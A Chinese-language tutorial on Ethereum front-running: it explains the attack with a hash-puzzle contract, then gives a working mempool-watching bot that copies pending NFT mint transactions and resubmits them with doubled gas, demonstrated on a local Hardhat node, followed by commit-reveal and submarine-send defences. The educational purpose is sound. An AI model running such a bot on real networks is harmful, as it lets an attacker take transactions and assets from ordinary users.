一、漏洞
與大多數(shù)區(qū)塊鏈一樣,以太坊節(jié)點(diǎn)匯集交易并將其打包成塊。一旦礦工獲得了共識機(jī)制(目前以太坊上實(shí)行的是 ETHASH 工作量證明算法)的一個(gè)解,這些交易就被認(rèn)為是有效的。挖出該區(qū)塊的礦工同時(shí)也選擇將交易池中的哪些交易包含在該區(qū)塊中,一般來說是根據(jù)交易的 gasPrice 來排序。在這里有一個(gè)潛在的攻擊媒介。攻擊者可以監(jiān)測交易池,看看其中是否存在問題的解決方案(如下合約所示)、修改或撤銷攻擊者的權(quán)限、或更改合約中狀態(tài)的交易;這些交易對攻擊者來說都是阻礙。然后攻擊者可以從該中獲取數(shù)據(jù),并創(chuàng)建一個(gè) gasPrice 更高的交易,(讓自己的交易)搶在原始交易之前被打包到一個(gè)區(qū)塊中。
讓我們看看這可以如何用一個(gè)簡單的例子。考慮合約 FindThisHash.sol :
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract FindThisHash {
bytes32 constant public hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
constructor() payable {} // load with ether
function solve(string calldata solution) public {
// If you can find the pre image of the hash, receive 1000 ether
require(hash == keccak256(abi.encodePacked(solution)), "Answer is wrong");
payable(msg.sender).transfer(10 ether);
}
}
想象一下,這個(gè)合約包含 10 個(gè) Ether??梢哉业?keccak256 哈希值為 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2的原象(Pre-image)的用戶可以提交解決方案,然后取得 10 Ether。讓我們假設(shè),一個(gè)用戶找到了答案 Ethereum 。他們可以調(diào)用 solve() 并將 Ethereum 作為參數(shù)。不幸的是,攻擊者非常聰明,他監(jiān)測交易池看看有沒有人提交解決方案。他們看到這個(gè)解決方案,檢查它的有效性,然后提交一個(gè) gasPrice 遠(yuǎn)高于原始交易的相同交易。挖出當(dāng)前塊的礦工可能會(huì)因更高的 gasPrice 而偏愛攻擊者發(fā)出的交易,并在打包原始交易之前接受他們的交易。攻擊者將獲得10 Ether,解決問題的用戶將不會(huì)得到任何東西(因?yàn)楹霞s中沒有剩余的 Ether)。
未來 Casper 實(shí)現(xiàn)的設(shè)計(jì)中會(huì)出現(xiàn)更現(xiàn)實(shí)的問題。Casper 權(quán)益證明合約涉及罰沒條件,在這些條件下,注意到驗(yàn)證者雙重投票或行為不當(dāng)?shù)挠脩舯患?lì)提交驗(yàn)證者已經(jīng)這樣做的證據(jù)。驗(yàn)證者將受到懲罰、用戶會(huì)得到獎(jiǎng)勵(lì)。在這種情況下,可以預(yù)期,礦工和用戶會(huì)搶先提交(Front-run)所有這樣的證據(jù)(以獲得獎(jiǎng)勵(lì)),這個(gè)問題必須在最終發(fā)布之前解決。
二、搶先提交的代碼實(shí)現(xiàn)
其實(shí)搶先提交的步驟很簡單:
- 1.監(jiān)聽mempool
- 2.提交transaction data
我們用hardhat做演示。
首先我們寫了一個(gè)mint NFT的合約,因?yàn)楹芏鄷r(shí)候,在mint一些比較有價(jià)值的NFT時(shí),科學(xué)家們會(huì)采用搶先交易,這樣不會(huì)代碼的朋友就搶不過別人了。合約代碼很簡單:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// Uncomment this line to use console.log
import "hardhat/console.sol";
contract Test is ERC721 {
constructor(
string memory _name,
string memory _symbol
) ERC721(_name, _symbol) {}
function mint(uint256 tokenId) external {
_mint(msg.sender, tokenId);
}
}
這個(gè)合約用戶可以mint。
我們將這個(gè)合約發(fā)布在hardhat的node網(wǎng)絡(luò)里,在這個(gè)EVM環(huán)境里,出塊速度很快,由于網(wǎng)絡(luò)太快那搶先提交就很難,所以我們寫個(gè)腳本手動(dòng)放慢EVM:
import { ethers } from "hardhat";
async function main() {
const provider = ethers.getDefaultProvider("http://localhost:8545");
await (provider as any).send("evm_setAutomine", [false]);
await (provider as any).send("evm_setIntervalMining", [10000]);
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
我們不讓EVM自動(dòng)出塊,而且出塊間隔為10秒鐘。
我們先模擬一個(gè)不會(huì)代碼的普通用戶辛苦搶NFT(tokenID為25)的過程:
task("test-transaction", "This task is broken")
.setAction(async () => {
const tokenId = 25;
const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3";
const test = await ethers.getContractAt('Test', contractAddress);
try {
const tx = await test.mint(tokenId);
await tx.wait();
} catch (e) {
console.error(e);
} finally {
const owner = await test.ownerOf(tokenId);
console.log(`owner of ${tokenId}: ${owner}`);
}
});
科學(xué)家寫了下面的腳本:
import { ethers } from "hardhat";
const ContractAbiFile = require("../artifacts/contracts/Test.sol/Test.json");
/*
Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH)
Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
*/
async function listen() {
const iface = new ethers.utils.Interface(ContractAbiFile.abi);
const privateKey = "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
const provider = ethers.getDefaultProvider("http://localhost:8545");
const myWallet = new ethers.Wallet(privateKey, provider);
// await (provider as any).send("evm_setIntervalMining", [10000]);
provider.on("pending", async (tx) => {
console.log("tx detected: ", tx);
if (tx.data.indexOf(iface.getSighash("mint")) >= 0 && tx.from !== myWallet.address) {
// const parsedTx = iface.parseTransaction(tx);
// console.log("tx parsed: ", parsedTx);
const frontRunTx = {
to: tx.to,
value: tx.value,
gasPrice: tx.gasPrice.mul(2),
gasLimit: tx.gasLimit.mul(2),
data: tx.data
};
const tmpTx = await myWallet.sendTransaction(frontRunTx);
console.log("Front Tx=", tmpTx);
await tmpTx.wait();
}
})
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
listen().catch((error) => {
console.error(error);
process.exitCode = 1;
});
在這個(gè)腳本里,科學(xué)家監(jiān)測了mempool,發(fā)現(xiàn)有新的tx進(jìn)來,一旦發(fā)現(xiàn)data中有函數(shù)簽名mint,那就選定了目標(biāo),新建一個(gè)交易,這個(gè)交易中其他數(shù)據(jù)都和監(jiān)控的交易一樣,唯一的區(qū)別就是提高了gasPrice和gasLimit,然后使用sendTransaction發(fā)送交易。

這個(gè)例子中,明明是普通用戶先行mint,結(jié)果科學(xué)家卻搶先交易成功了。
三、預(yù)防手段
1.使用 commit-reveal 機(jī)制
這種方案規(guī)定用戶使用隱藏信息(通常是哈希值)發(fā)送交易。在交易已包含在塊中后,用戶將發(fā)送一個(gè)交易來顯示已發(fā)送的數(shù)據(jù)(reveal 階段)。這種方法可以防止礦工和用戶從事?lián)屜冉灰?,因?yàn)樗麄儫o法確定交易的內(nèi)容。然而,這種方法不能隱藏交易價(jià)值(在某些情況下,這是需要隱藏的有價(jià)值的信息)。ENS 智能合約允許用戶發(fā)送交易,其承諾數(shù)據(jù)包括他們愿意花費(fèi)的金額。用戶可以發(fā)送任意值的交易。在披露階段,用戶可以取出交易中發(fā)送的金額與他們愿意花費(fèi)的金額之間的差額。
2.使用 submarine send
有關(guān)submarine send的詳細(xì)介紹原網(wǎng)頁:https://libsubmarine.org/